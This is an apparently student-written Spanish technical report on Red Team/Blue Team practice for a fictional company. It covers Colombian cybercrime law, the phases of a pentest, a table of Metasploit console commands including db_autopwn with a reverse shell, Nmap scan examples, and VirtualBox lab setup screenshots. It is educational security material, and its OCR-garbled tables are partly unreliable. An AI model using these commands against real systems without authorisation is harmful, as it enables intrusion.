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Resumen

Se presenta un informe técnico donde se contiene las estrategias Red Team & Blue Team
lo cual permiten hacer frente a un incidente o evento informatico en una infraestructura TI,
teniendo presente el cumplimiento de normas éticas y legales con el fin de mejorar el esquema de
ciberseguridad de una organizacion.

De igual manera da a conocer las vulnerabilidades en un sistema informatico a partir del
uso de metodologias y técnicas de intrusion utilizando herramientas de penetracion pentesting y
formulando estrategias de contencion mediante el analisis de vulnerabilidades y riesgos en una
infraestructura TL
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Abstract

A technical report is presented containing the Red Team & Blue Team strategies which
allow us to deal with a computer incident or event in an IT infrastructure, taking into account
compliance with ethical and legal standards in order to improve the cybersecurity scheme of an
organization.

Likewise, it reveals the vulnerabilities in a computer system through the use of intrusion
methodologies and techniques using pentesting penetration tools and formulating containment
strategies through the analysis of vulnerabilities and risks in an IT infrastructure.
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Glosario

Activo

Elemento percibido como valioso para una organizacion.
Amenaza

Cualquier circunstancia o evento que pueda afectar los activos de manera negativa.
Amenaza externa

Cualquier riesgo a la seguridad producido fuera de la organizacién que tenga el potencial
de dafiar sus activos.
Amenaza interna

Riesgo a la seguridad producido por una persona que pertenece o pertenecié a una
empresa o tiene una relacion directa o de confianza con ella.
Auditoria de seguridad

Revision de los controles, politicas y procedimientos de seguridad de una organizacion.
Autenticacion

Proceso de verificar la identidad de una persona.
Autorizacion

Proceso de determinar si un/a usuario/a autentificado/a tiene acceso a recursos
especificos en un sistema.
Autorizar

Sexto paso del RMF del NIST que se refiere a asumir la responsabilidad de los riesgos de

seguridad y privacidad que puedan existir en una organizacion.



Confidencialidad

Propiedad segun la cual tinicamente las personas autorizadas pueden acceder a activos o
datos especificos.
Controles de seguridad

Medidas de prevencion disefiadas para reducir riesgos de ciberseguridad especificos.
Detectar

Funcion central del NIST relacionada con la identificacion de posibles incidentes de
seguridad y la mejora de las capacidades de monitoreo y respuesta.
Disponibilidad

Propiedad segtn la cual todas las personas autorizadas pueden acceder a activos o datos
especificos.
Evaluar

Quinto paso del Marco de Gestion de Riesgos (RMF) del NIST, para determinar si los
controles establecidos se han implementado correctamente
Gestion de eventos e informacion de seguridad (SIEM por sus siglas en inglés)

Solucién de seguridad que recopila y analiza los datos de registro para monitorear
actividades criticas en una organizacion.
Marco de Ciberseguridad (CSF) del Instituto Nacional de Estandares y Tecnologia (NIST)

Marco de adhesion voluntaria creado en los Estados Unidos, que incluye estandares,

pautas y practicas recomendadas para gestionar los riesgos de ciberseguridad.



Marcos de seguridad

Pautas utilizadas para crear planes que ayuden a mitigar el riesgo y las amenazas a los
datos y la privacidad Integridad: Cualidad que identifica los datos como correctos, auténticos y
confiables.
Red Team

Es un equipo dedicado a simular ciberataques como parte de una accion controlada de
ciberseguridad, con el fin de identificar brechas de seguridad y evaluar la efectividad de las
medidas de seguridad existentes, asi como la respuesta por parte del equipo de defensa, para la
proteccion de los activos.
Blue Team

Es un equipo dedicado a la defensa de los sistemas de una organizacion contra
potenciales ciberataques.
Vector de ataque

Me¢étodo que se utiliza para penetrar las defensas de seguridad de un sistema informatico.
Vulnerabilidad

Debilidad que puede ser aprovechada por una amenaza
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Introduccion

El siguiente trabajo esta enfocado en evaluar las acciones de los equipos Red Team &
Blue Team de una organizacion en el marco de los criterios éticos y legales, Demostracion de
vulnerabilidades en un sistema informdatico a partir del uso de metodologias y técnicas de
intrusion. y en la contencidon de ataques informaticos mediante estrategias que permitan la
mitigacion de ataques informaticos el cual se esta presentando en la organizacion CyberFort
Technologies, la cual se encuentra alojada el sistema operativo de Windows 7, en uno de los
equipos de codmputo, por lo que se procede a validar las falencias de seguridad informatica para
proceder a utilizar herramientas que permita mitigar el ataque informatico, robustecer la
seguridad de la informacion de la organizacion y establecer politicas de seguridad y privacidad

de la informacion, datos personales y de los activos.
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Objetivos

Objetivo General

Conocer las metodologias, herramientas y marco legal que rige dentro de los equipos Red
Team & Blue Team, con el fin de proteger los activos de la organizacion CyberFort
Technologies.
Objetivos Especificos

Identificar la normatividad relacionada a los delitos informaticos y la proteccion de datos
personales

Evaluar las acciones de los equipos Red Team & Blue Team de una organizacion en el
marco de los criterios éticos y legales.

Establecer acuerdos de confidencialidad, integridad, como fortalecimiento a los procesos
y procedimientos de ciberseguridad.

Ejecutar las pruebas de penetracion pentesting, para identificar las vulnerabilidades que
estan afectando la seguridad de la informacion de la organizacion

Formular estrategias de contencion mediante el analisis de vulnerabilidades y riesgos en
una infraestructura de TI

Evaluar las estrategias y recomendaciones en la mitigacion de vulnerabilidades.



14

Desarrollo del Informe
Aspectos que Aporten al Desarrollo de Estrategias de Red Team & Blue Team

A continuacion se da a conocer los Conceptos Equipos de Seguridad de acuerdo con el
marco legal colombiano el cual aporta al desarrollo de estrategias de Red Team y Blue Team con
respecto a los delitos informaticos y proteccion de datos personales:

Decreto 1360 de 1989 "Por el cual se reglamenta la inscripcion de soporte logico
(software) en el Registro Nacional del Derecho de Autor". (1989) Resuelve las reclamaciones
por violacion a los derechos del autor como generadores de software y dar respuesta oportuna a
soluciones informaticas, mejorando la calidad de vida de las personas que son las creadoras,
generando credibilidad e importancia en el buen desarrollo de nuevas aplicaciones como
herramientas que facilitan la interaccion de la informacion.

Ley 599 de 2000 "Por la cual se expide el Codigo Penal." Art.195 Acceso abusivo a un
sistema informatico. (2000, 2000) Cuando ingresa a un sistema de informacion sin autorizacion
ocasionando dafos irreparables a la informacion logrando vulnerar los datos sin importar las
consecuencias que se puedan presentar.

Ley 679 de 2001 Por medio de la cual se expide un estatuto para prevenir y contrarrestar
la explotacion, la pornografia y el turismo sexual con menores, en desarrollo del articulo 44 de la
Constitucion. (2001, 2001) Se establece la prohibicion de informacidon con respecto a menores
de edad porque atenta contra la integridad del menor y esto puede crear multiples consecuencias
y afectaciones irreparables, esta ley permite establece la penalizacion a los delincuentes que
contintien realizando estos delitos contra los menores de edad.

Ley 842 de 2003 “Por la cual se modifica la reglamentacion del ejercicio de la ingenieria,

de sus profesiones afines y de sus profesiones auxiliares, se adopta el Codigo de Etica
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Profesional y se dictan otras disposiciones” (2003, 2003). Establece los deberes, derechos,
prohibiciones, inhabilidades e incompatibilidades a los ingenieros en general, afines o auxiliares
ejercen su profesion con honestidad, respeto, compromiso y lealtad, de lo contrario estan
expuestos a perder definitiva la tarjeta profesional, que inhabilita continuar laborando, de igual
manera se realiza la penalizacion por la falta que haya realizado en su momento.

Ley 1273 de 2009 “Por medio de la cual se modifica el Cédigo Penal, se crea un nuevo
bien juridico tutelado - denominado "de la proteccion de la informacion y de los datos"- y se
preservan integralmente los sistemas que utilicen las tecnologias de la informacién y las
comunicaciones, entre otras disposiciones. (Policia, 2009) Establece todos los delitos
informéticos como: Acceso abusivo a un sistema informatico, Obstaculizacion ilegitima de
sistema informatico o red de telecomunicacion, Interceptacion de datos informaticos., Dafo
Informatico., Uso de software malicioso., Violacion de datos personales., Suplantacion de sitios
web para capturar datos personales, Circunstancias de agravacion punitiva, Hurto por medios
informaticos y semejantes, Transferencia no consentida de activos, los cuales son adquiridos por
el mal uso de la informacion, por descuido, desinformacion o porque son muy confiados al
entregar informacion sin medir las consecuencias, cuando acceden sin autorizacion a los equipos
informaticos, cuando suplantan una pagina web o el usuario de una persona en el robo de
informacion confidencial o porque no utilizan herramientas que permitan la proteccion y
seguridad de la informacion contra estos delitos informaticos los cuales afectan la
confidencialidad, integridad y disponibilidad de los datos y la parte financiera. Esta ley también
establece la penalizacion de acuerdo con cada uno de los delitos anteriormente descritos, los

cuales en su mayoria estan entre 48 y 96 meses y su multa es de 100 a 1000 SMLMV
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La siguiente tabla contiene las caracteristicas de los articulos de la Ley 1273 de 2009

(Contabilidad, 2010)

Tabla 1

Relacion de los Articulos de la Ley 1273 De 2009

Articulos

Descripcion

Condena

269A Acceso abusivo a

un sistema informatico"

269B: Obstaculizacion
ilegitima de sistema
informatico o red de

telecomunicacion.

269C: Interceptacion de

datos informaticos.

Articulo 269D: Daifo

Informatico.

269E: Uso de software

malicioso.

Se comete cuando aprovechan la vulnerabilidad
en el acceso a los sistemas de informacién o

debilidades en los procedimientos

Se cometen cuando bloquean en forma ilegal un
sistema o impiden su ingreso, a cuentas de correo

electronico de otras personas, sin su autorizacion

Se comete cuando obstruyen datos sin
autorizacion legal, en su sitio de origen, en el
destino o en el interior de un sistema informatico
Se produce cuando una persona que sin estar
autorizado modifica, altera, dafia, elimina,
destruye o suprime datos del programa o
documentos electronicos y se hacen en los
recursos de TIC

Se produce cuando se adquieren distribuyen,
envian, introducen o extraen del pais software o
programas de computador que produce dafios en

los recursos TIC

Prision de 48 a 96
meses y en multa de
100 a 1.000 salarios
minimos legales
mensuales vigentes.
Prision de 48 a 96
meses y en multa de
100 a 1.000 salarios
minimos legales
mensuales vigentes.,
siempre que la
conducta no constituya
delito sancionado con
una pena mayor.

prision 36 a (72) meses

Prision de 48 a 96
meses y en multa de
100 a 1.000 salarios
minimos legales
mensuales vigentes.
Prision de 48 a 96
meses y en multa de
100 a 1.000 salarios
minimos legales

mensuales vigentes.
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Articulos

Descripcion

Condena

269F: Violacion de

datos personales

269G: Suplantacion de
sitios web para capturar

datos personales.

269H: Circunstancias de

agravacion punitiva:

Se produce cuando sin estar facultado sustrae,
envia, vende, divulga, compra o emplea datos

personales almacenados en medios magnéticos

Se produce cuando una pagina web es similar a la
de una entidad y envia correos electronicos
(spam) como ofertas de empleo y personas
inocentes suministran informacion personal y
claves bancarias y el delincuente informéatico

ordena transferencias de dinero a terceros.

1. Sobre redes o sistemas informaticos o de
comunicaciones estatales u oficiales o del sector
financiero, nacionales o extranjeros.

2. Por servidor publico en ejercicio de sus
funciones.

3. Aprovechando la confianza depositada por el
poseedor de la informacion o por quien tuviere un
vinculo contractual con este.

4. Revelando o dando a conocer el contenido de la
informacion en perjuicio de otro.

5. Obteniendo provecho parasi o para un tercero.
6. Con fines terroristas o generando riesgo para la
seguridad o defensa nacional.

7. Utilizando como instrumento a un tercero de
buena fe.

8. Si quien incurre en estas conductas es el
responsable de la administracion, manejo o
control de dicha informacidon, ademas se le

impondra hasta por tres afios, la pena de

Prision de 48 a 96
meses y en multa de
100 a 1.000 salarios
minimos legales
mensuales vigentes.
Prision de 48 a 96
meses y en multa de
100 a 1.000 salarios
minimos legales
mensuales vigentes.,
siempre que la
conducta no constituya
delito sancionado con
pena mas grave.

Las penas se
aumentaran de la
mitad a las tres cuartas
partes si la conducta se

cometiere:
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Articulos Descripcion Condena

inhabilitacion para el ejercicio de profesion
relacionada con sistemas de informacion

procesada con equipos computacionales.

Hurto por medios Se comete cuando manipulan un sistema de Las penas senaladas en
informaticos y informacion, una red de sistemas electronicos, el articulo 240 de este
semejantes. telematicos u otro medio semejante o suplantacion Codigo. De 3 a 8 afios

aun usuario ante sistemas de autenticacion y de
autorizacion establecidos
269J: Transferencia no Se comete cuando utilizando algtn truco o Prision de 48 a 96
consentida de activos.  manipulacion informatica efectua la transferencia meses y en multa de
no autorizada de cualquier activo en perjuicio de 100 a 1.000 salarios
un tercero en provecho propio. Este delito también minimos legales
se denomina estafa electronica, igual manera se mensuales vigentes.
presenta cuando fabrica, introduce o facilita
programas de computador para cometer los

anteriores delitos

Fuente. Autoria propia

Ley Estatutaria 1581 de 2012 “Por la cual se dictan disposiciones generales para la
proteccion de datos personales.” (Colombia, 2012). Establece el tratamiento de los datos
personales y las garantias constitucionales con respecto a la proteccion, la disponibilidad, la
confidencialidad, la integridad y la seguridad de la informacion de las personas, que no permitan

la alteracion, fraude, perdida si su respectiva autorizacion.

Andlisis Sobre el Ejercicio de Pentesting

Para identificar las vulnerabilidades de seguridad en las aplicaciones, redes y sistemas de
informacion se utilizan las pruebas de penetracion como herramienta de seguridad para
identificar las debilidades que se puedan presentar en el flagelo o robo de informacion. Para

evaluar la seguridad se requieren de las 5 fases de las proceso que realiza el pentesting iniciando
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con el Reconocimiento el cual es la recopilacion de la informacion como por ejemplo: Fuentes
de informacion, Direcciones IP de servicios tercerizados, Existencia de redes inalambricas,
Direccion fisica de la empresa, Rangos de direcciones IP asignados, entre otras, con el fin
delimitar las areas a evaluar y poder generar estrategias de ataque que sean eficientes al mitigar
la vulnerabilidad que se presente, para esta fase se utiliza la herramienta Nmap, que realiza el
escaneo detallado del sistema utilizando los comandos[-sV] intenta determinar la version del
servicio en el objetivo, [-O] informa el sistema operativo en el objetivo, entre otros, segunda fase
es el Escaneo el cual permite realizar a fondo la evaluacion de todos los elementos que estan
involucrados desde su inicio hasta su final verificando el estado dinamico y estatico del sistema,
para esta fase se utiliza la herramienta Nmap, la cual permite realizar un escaneo de la red para
identificar los dispositivos activos utilizando el comando [-iL] indica el listado de redes o
equipos a escanear > nmap —iL hosts.txt, , [-p] lista los puertos que se desean escanear, la tercera
fase es la Evaluacion de vulnerabilidades se realiza la identificacion sobre las posibles
debilidades a las vulnerabilidades encontradas que pueden ser detonadas por un atacante
informatico, para esta fase se utiliza la herramienta Nmap, la cuarta fase es la Explotacion se
realiza cuando el evaluador ha identificado las vulnerabilidades a explotar predominando las
siguientes tareas como son: la deteccion de barreras de proteccion, deteccion de moédems activos,
deteccion de servicios activos, deteccion de equipos activos, entre otros, para esta fase se utiliza
como herramienta Metasploit,la, cual identifica y evalua las vulnerabilidades de los sistemas
objetivo para ejecutar los exploits de las vulnerabilidades. y la quinta etapa es el Informe el cual
entrega detalladamente los hallazgos encontrados de las vulnerabilidades que se explotaron con
el fin de mitigar los riesgos de seguridad, tener en cuenta las recomendaciones para robustecer la

seguridad.
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Explicacion de las Herramientas y Servicios Utilizados en Ciberseguridad

Metasploit. Es una herramienta basada en el lenguaje Ruby que brinda una estructura
completa para el desarrollo, la aprobacion y la ejecucion de exploits contra objetivos remotos,
esta herramienta es muy valiosa ya que permite ser utilizada por los piratas informaticos éticos y
los ciberdelincuentes en la investigacion de vulnerabilidades sistemdticas en servidores y redes.
Debido a su software de cddigo abierto es facil de usar en diferentes sistemas operativos su
primera su historia inicia en el afio 2003, El Proyecto Metasploit fue adquirido por Rapid7 en
2009, El cual ha desarrollado una edicion comercial de Metasploit — Metasploit Pro. Que permite
a los usuarios la automatizacion total de las pruebas de penetracion, junto con otras funciones

avanzadas, que incluyen: (CIBERSEGURIDAD, s.f.)

. Explotaciéon manual

. Evasion de antivirus e IPS /IDS
. Pivote de proxy

. Modulos posteriores a la exploracion
. Limpieza de sesion

. Reutilizacion de credenciales

. Ingenieria social

. Generador de carga ttil

. VPN pivotante

. Validacion de vulnerabilidades

. Pruebas de aplicaciones web.

Su funcionamiento de basa en diferentes interfaces por ejemplo de graficos, consola y

lineas de comandos: (CIBERSEGURIDAD, s.f.)
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. MSFConsole (Metasploit Framework Console): Permite a los usuarios acceder a
Metasploit Framework a través de una interfaz de linea de comandos interactiva.

. MSFWeb: una interfaz basada en navegador que permite a los usuarios acceder al
marco de Metasploit.

. Armitage: desarrollado por Raphael Mudge en 2013, A, es una interfaz grafica de
usuario basada en Java que permite a los equipos de seguridad colaborar compartiendo su acceso
a hosts comprometidos.

. RPC (llamada a procedimiento remoto): permite a los usuarios manejar mediante
programacion Metasploit Framework utilizando servicios de llamada a procedimiento remoto
(RPC) basados en HTTP. Ademas del Ruby nativo de Metasploit, los servicios RPC pueden
operar a través de otros lenguajes, como Java, Pythony C.

Hay tres bibliotecas de Metasploit, las cuales permiten a los usuarios ejecutar exploits sin
escribir codigo adicional.: (CIBERSEGURIDAD, s.f.)

. REX: habilita las tareas mas basicas; contiene Base64, HTTP, SMB, SSL y

Unicode.
. MSF Core: proporciona una API comtn y define Metasploit Framework.
. Base de MSF: proporciona una API facil de usar.

La siguiente tabla contiene los comandos que se utilizan en consola de metasploit:

(Lazaro, 2020):



Tabla 2

Listado de Comandos de Metasploit
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Comando

Descripcion

show exploits

show payloads

show auxiliary

search [cadena]

search type:[exploit, payload, auxiliary, encoder, post]

[cadena]

info

use [cadena]
LHOST
RHOST

set [parametro] [valor]

setg[pardmetro] [valor]

show options

show targets

set target [namero]

set payload [payload]

show advanced

set autorunscript migrate -f

Mostrar todos los exploits del
Framework.

Mostrar todos los payloads del
Framework.

Mostrar todos los médulos auxiliares
del Framework.

Busqueda por cadena

Blsqueda por tipo y cadena

Muestra informacion acerca de un
exploit cargado.

Carga el exploit indicado.

Variable local host

Variable host remoto

Graba en el parametro el valor
indicado.

Graba en valor para el parametro
indicado de forma global.

Muestra las opciones de un exploit.
Muestra las plataformas objetivo del
exploit.

Especifica un objetivo concreto de los
posibles.

Especifica un payload a usar..
Muestra las opciones avanzadas.
Migra el proceso a un hilo

independiente de forma automatica.
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Comando

Descripcion

check

exploit

exploit -

exploit -z

exploit -e encoder

exploit -h

sessions -|

sessions -l -v

sessions -s [script]

sessions -K

sessions -c cmd
sessions -u sessionlD
db_create [nombre]
db_connect [nombre]
db_nmap

db_autopwn -h

db_autopwn -p -r -e

Comprueba si un objetivo es
vulnerable a un exploit.

Ejecuta un exploit

Ejecuta un exploit en background.
No interactta con la sesion después de
acceder con exito

Especifica el encoder a usar con el
payload

Muestra la ayuda para el exploit
especificado

Muestra la lista de sesiones
disponibles

Muestra la lista de sesiones
disponibles en modo verbose

Ejecuta un script especifico en todas
las sesiones de meterpreter activas.
Mata todas las sesiones activas
Ejecuta un comando en todas las
sesiones activas

Actualiza una shell de Win32 a una
consola de meterpreter

Crea una base de datos

Crea y se conecta a una base de datos
Usay carga los resultados de Nmap
en una base de datos

Muestra la ayuda para usar
db_autopwn.

Ejecuta db_autopwn contra todos los
puertos encontrados, usa una shell

reversa y los explota.
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Comando Descripcion
db_destroy Elimina la actual base de datos
db_destroy Borra una base de concreta

[usuario]:[contrasefia]@[host]:[puerto]/[base_de_datos]

Fuente. Autoria propia

Nmap. es una herramienta de escaneo de redes y codigo abierto se utiliza mucho en
pruebas de penetracion y auditorias de seguridad, utiliza una interfaz grafica llamada Zenmap. Es
un programa que es compatible con sistemas operativos Windows, Linux y también macOS,

Utiliza diferentes tipos de estructuras de paquetes a través de protocolos de capa de
transporte como:

TCP (Transmission Control Protocol). Es un estdindar de comunicaciones que permite la
comunicacion de programas y dispositivos a través de la red.

UDP (User Datagram Protocol). Envia informacion de forma rapida al usuario sin esperar
a que este compruebe y establezca la conexion.

SCTP (Stream Control Transmission Protocol). Reune las caracteristicas de TCPy UDP
agregando el manejo de la congestion y la tolerancia a fallos.

ICMP (Internet Control Message Protocol). Permite que las pasarelas y sistemas envien
informes de problemas a la maquina que envia el paquete.

NMAP utiliza una serie de comandos para escanear y monitorizar una red. Por ejemplo,
para realizar un escaneo utilizando direcciones IP se tendrd que introducir el siguiente comando:

nmap 192.168.1.56 (para un host) o nmap -F 192.168.1.56 (para un analisis rapido).

nmap 192.168.1.56 192.168.1.57 192.168.1.58 (para varios host).

nmap 192.168.1.56-100 (para un rango de direcciones IP).
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nmap 192.168.1.* (para escanear y analizar toda la red).

Para realizar un escaneo utilizando el nombre de host:

nmap serverq.nombredehost.com.

Principales Usos de Nmap (REDES ZONE, s.1.)

Algunos de los usos mas comunes para Nmap son:

Escaneo de Puertos. Se puede utilizar para realizar el escaneo de puertos abiertos en la
red. Lo cual nos da la posibilidad de identificar posibles puntos en los que un atacante puede
atacar nuestra red.

Deteccion de Sistemas. Se puede utilizar para encontrar sistemas activos en una red.
Esto puede incluir servidores y dispositivos de red.

Deteccion de Servicios. Es posible detectar los servicios que se estan ejecutando en la
red, lo cual nos ayuda en muchos casos a detectar vulnerabilidades. Podremos identificar
servicios como HTTP, Telnet, FTP, SSH, entre otros muchos. Esto lo que permite es proporcionar
informacion muy detallada sobre los softwares que estan siendo ejecutados, incluso las versiones
de estos.

Mapeo de Redes. Esto puede incluir varios factores como la ubicacion de un dispositivo
o la topologia de la propia red. Asi sera mucho mas sencillo crear un mapa visual de toda la
infraestructura, identificando los dispositivos y como estdn conectados.

Pruebas de Seguridad. Se pueden realizar pruebas de penetracion y evaluaciones de
seguridad. Esto nos permite identificar vulnerabilidades en los sistemas o la red. Esto est4

directamente ligado al escaneo de puertos.
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Monitorizacion. Tiene la capacidad de realizar una monitorizacion de la disponibilidad
de los servidores o dispositivos de la red. Lo cual nos ayuda a ver si estdn funcionando de la
forma correcta.

Estado de los Puertos

Hay diferentes opciones que se deben conocer, ya que el estado actual en el momento de
realizar el escaneo puede variar. Por lo tanto, se pueden considerar las siguientes alternativas:

Open. una aplicacion esta activamente aceptando conexiones TCP o UDP. El puerto esta
abierto y se puede utilizar, los pentesters podran utilizar este puerto abierto para explotar el
sistema. Es el estado por defecto si no tenemos ningtn firewall bloqueando accesos.

Closed. un puerto que esta cerrado es accesible porque responde a Nmap, sin embargo,
no hay ninguna aplicacion funcionando en dicho puerto. Es 1til para descubrir que un host esta
levantado, o como parte de la deteccion de un sistema operativo. De cara al administrador del
sistema, es recomendable filtrar estos puertos con el firewall para que no sean accesibles. De
cara al pentester, es recomendable dejar estos puertos “cerrados” para analizar mas tarde, por si
ponen algtn servicio nuevo.

Filtered. en este estado Nmap no puede determinar si el puerto esta abierto, porque hay
un firewall filtrando los paquetes de Nmap en dicho puerto. Estos puertos filtrados son los que
apareceran cuando tengamos un firewall activado. Nmap intentard en varias ocasiones intentar
conectar, lo que hace que el escaneo de puertos sea bastante lento.

Open| Filtered. Nmap no sabe si el puerto esta abierto o filtrado. Esto ocurre porque el
puerto abierto no envia ninguna respuesta, y dicha falta de respuesta podria ser por el firewall.
Este estado aparece cuando usamos UDP y IP, y utilizamos escancos FIN, NULL y Xmas.

Closed | Filtered. en este estado no se sabe si el puerto esta cerrado o filtrado. Solo se

usa este estado en el IP Idle Scan.
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Tipos de Escaneos

En el momento de monitorizar o llevar a cabo una auditoria de seguridad se pueden dar
diferentes tipos de escaneos desde Nmap que son interesantes conocer como:

Fin. este tipo de escaneo te ayudara a saber si el host estd tras un firewall.

Sondeo de Lista. esta alternativa tiene como objetivo el de conseguir los nombres de
equipo de los diferentes dispositivos que estan conectados a una red en concreto, y sin que sea
necesario enviar un paquete para conseguir este prop6sito, ya que lleva a cabo resolucion inversa
de DNS.

Tcp Connect. este escaneo puede servir para llegar a realizar con éxito una conexion
completa de todos los puertos.

Ping-Arp. en este caso, estamos ante una opcion mas util con la que se puede saber si el
host esta activo en la red mediante Ping o incluso para conseguir algin dato mas especifico sobre
los host que estan activos con Arp.

Open Vas. Es un software libre, el cual puede detectar mas de 100.000 vulnerabilidades
en redes de manera interna y externa, de igual manera realizar el escaneo de vulnerabilidades
completo, detectando diferentes problemas que pueden ser graves en dispositivos en red o
pueden ser de bajo riesgo para el usuario, se desarrollo en el afio 2009 por la empresa Greenbone

Networks, realiza diversas funciones como:

. Ajustes personalizados de rendimiento para exploraciones a gran escala.

. Pruebas autenticadas.

. Cuenta con protocolos industriales y de Internet de alto y bajo nivel.

. Desarrollado en un potente lenguaje de programacion interno para implementar

cualquier tipo de prueba de vulnerabilidad.

. Pruebas no autenticadas.
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Caracteristicas

Ofrece una explotacion de vulnerabilidades y su gestion es una de las tareas mas
importantes, tiene Licencia Publica General de GNU (GNU GPL). tiene aplicaciones que ofrecen
servicios y son utiles. y caracteristicas que se destacan son:

. Una comunidad que ofrece bastante tutoriales y apoyo a la hora de explotar
vulnerabilidades, por su web y por otros foros como Reddit por ejemplo.

. Extensa y definida documentacion.

. Posibilidad desde linea de comandos y en modo grafico con una interfaz con

utilidades y repleta de datos de interés, capaz de sacar informes de interés.

Servicios en Linea

ExploitDB. Esta aplicacion web recopila bases de datos ptblicas que contienen
herramientas para aprovechar vulnerabilidades conocidas, y los usuarios contribuyen a estas. Los
profesionales de pruebas de penetracion de todo el mundo pueden descargar, consultar y utilizar
estos recursos de forma gratuita para mejorar la calidad de sus auditorias de seguridad.

CVE. Las vulnerabilidades son defectos en el software que permiten a los hackers
acceder ilegalmente a redes y sistemas, y propagar malware. Esto les permite hacerse pasar por
administradores con pleno acceso a los recursos de la empresa. Esto podria permitir que el
atacante se mueva sigilosamente por las redes, recopilando datos confidenciales, credenciales de

usuario e informacion del cliente.

Evidencia de la Implementacion del “Banco de Trabajo” en su Entorno Local

Paso A. Descargar la herramienta virtualizadora “VirtualBox™ en su Ultima version., se

procedid a ingresar al link https:/www.virtualbox.org/wiki/Downloads, para realizar la descarga

del programa:


https://www.virtualbox.org/wiki/Downloads

Figura 1

Descarga VirtualBox

G @ Conalaccessoda

15 VirtualBox Home

Download VirtualBox

The VirtusBon: Extension Pack 1 avallabe for person snd educational e on s page unierthe PUEL Mcense. The Virtusib Extension Pkl
available under commerciai or enterprise terms. By downicading, you agree to the terms and conditions of the respective licens:

macos / Intel hosts

macos / Apple Sificon hosts
[ uinux distributions

{ Solaris hosts
solars 11 195 hasts

Platform packages are released under the terms of the GPL version 3

are licensed under

V TS T T
e 2 it ackacms
/ B windows hosts

Fuente. Autoria propia

VirtualBox Extension Pack
VirtualBox 7.1.2 Extension Pack

s VirtualBox Extension Pack Personal Use and Educational License
‘governs your access to and use of the VirtualBox Extansion Pack. It does
not apply to the VirtualBox base package and/or its source code, which
version 3 of the GNU Genersl Public License "GPL").
See our FAQ for answers to common questions.

Virtualfny Evtancian Dack Darcnnal tes and Educatinnal | ironea

Accept and download|
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Se realiza la instalacion, pero se muestra un error de instalacion debido a que mi sistema

operativo es Windows 11
Figura 2
Instalacion VirtualBox

| “H Oracle VirtualBox 7.1.2 Setup

Jlu. Orade VirtualBox 7. 1.2 needs the

e Microsoft Visual C++ 2019 Redistributable

| Package being installed first. Please install
and restart the installation of Orade
VirtualBox 7.1.2.

|

x 2 Oracle VirtualBox 7.1.2 Setup
A fatal error has occurred.
Please check the installation log for more information.

Alternatively, consult the forums or the documentation of
Orade VirtualBox 7.1.2.

Version 7.1.2 < Back

Fuente. Autoria propia

Se realiza la descarga del archivo vc_redist.64.exe, para proceder a instalar la maquina

virtual VirtualBox
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Figura 3

Descarga archivo ve_redist.64.exe

o Escritonio ﬁ!H[_rEdiEtJ{M.E{E

| QHUirtualEIm:-?J.2-154945-Winﬂe

I n

Fuente. Autoria propia

Se procede a ejecutar como administrador el archivo vc_redist.64.exe
Figura 4

Instalacion Archivo ve.redist.64.exe

ﬁ Vicrosoft Visual C++ 2015-2022 Redistributable (x64 ﬁ Microsoft Visual C++ 2015-2022 Redistributable (x64) - -

M Microsoft Visual C++ 2015-2022 | M Microsoft Visual C++ 2015-2022
Redistributable (x64) - 14.40.33816 Redistributable (x64) - 14.40.33816

MICROSOFT SOFTWARE LICENSE TERMS Setup Progress

MICROSOFT VISUAL C++ 2015 - 2022 RUNTIME | Processing:  Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.40.33816
| .

| [These license terms are an agreement between Microsoft Corporation
(or based on where you live, one of its affiliates) and you. They apply to

|
@ agree to the license terms and conditions

Install Close Cancel

Fuente. Autoria propia

Se instala la maquina virtual VirtualBox
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Figura §

Instalacion Maquina Virtual VirtualBox

A Oracle VirtualBox 7.1.2 Setup x | EM Oracle VirtualBox 7.1.2 License Agreement *

| End-User License Agreement
Welcome to the Oracle Please read the following license agreement carefully.
VirtualBox 7.1.2 Setup Wizard

The Setup Wizard will install Orade VirtualBox 7. 1.2 on your | COPYING file for VirtualBox versions 7.0 and later versions that

computer. Click Mext to continue or Cancel to exit the Setup inchide this file I
Wizard,

Preliminary notes:

1) The majority of the code in the VirtualBox base package is
licensed under the GNU General Public License, version 3 (GPL).
VirtualBox contain s many components developed by Oracle and
wvarious third parties. The license for each component is located in

© I accept the terms in the License Agreement

(_)1 do not accept the terms in the License Agreement

Version 7.1.2 Cancel Version 7.1.2 < Back Cancel

7.1.2 Setup > X
| Custom Setup
| Select the way you want features to be installed. warning H
|
| Network Interfaces
| Click on the icons in the tree below to change the way features will be installed.
| Instaling the Orade VirtualBox 7.1.2 Networking feature wil
— reset your network connection and temporarily disconnect

| VirtualBox Application Oracle VirtualBox 7. 1.2 application. you from the network.

=) v| VirtualBox USB Support

=3 - | VirtualBox Networking Proceed with installation now?

= | VirtualBox Bridge:
% 4 al o Brdge This feature requires 213MB on
= - | VirtualBox Host-C| vy - hard drive. It has 3 of 3
-9~ | VirtualBox Python Suppo|  subfeatures selected, The
subfeatures require 936KB on yo...
Location: C:\Program Files\OradeVirtualBox\, Browse
Version 7.1.2 Disk Usage < Back Cancel version 7.1.2 Yes Mo
5
irtualBox Adm — o x

| @ Oracle VirtualBox 7.1.2 Setup — =

Oracle VirtualBox 7.1.2 O eramionz 8= pﬁ \ﬁg a@ % AEE.?

envenido a VirtualBox!

La parte izquierda de esta ventana contiene
| herramientas globales y una lista de todas las
| Please wait while the Setup Wizard installs Orade VirtualBox 7.1.2. This may take I T € T RO RIS
" virtuales en su computadora. Puede importar,
several minutes. afiadir y crear nuevas MVs usando los batones
correspondientes de la barra de herramientas.
| Puede abrir un =popup= del elemento.
Status:  Writing system registry values seleccionado actualmente usando el botén de
elemento correspondiente. Puede presionar la
I tecla F1 para obtener ayuda instantanea o visitar
www.virtualbox.org para mas informacisn y las
dgltimas noticias.

Please choose Experience Mode! Basic Mode

By defaut, the VirtualBox GUI is hiding some Expert Mode
options, tools and wizards.

The Basic Mode is intended for those users who
are not interested in advanced functionality and
prefer a simpler, cleaner interface.

The Expert Mode is intended for experienced
users who wish to utilize all VirtualBox
functionality.

Vou can choose whether you are a beginner or
) = . experienced user by selecting required option at
WVersion 7.1.2 < Back MNext = Cancel Trecgs T raeema e e et

Global Preferences or Machine Settings windows.

Fuente. Autoria propia
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Paso B. Una vez se realice apertura del foro para el desarrollo de la actividad se
procedera a compartir enlace de descarga de lo requerido para el montaje del banco de trabajo,
las imagenes en formato. OVA las cuales se encuentran ya preconfiguradas para ser utilizadas en
las actividades de caracter técnico. En las imagenes. OVA existe: Un sistema operativo windows
y un sistema operativo Kali Linux.

Se realiza la descarga de los archivos para el banco de trabajo del enlace
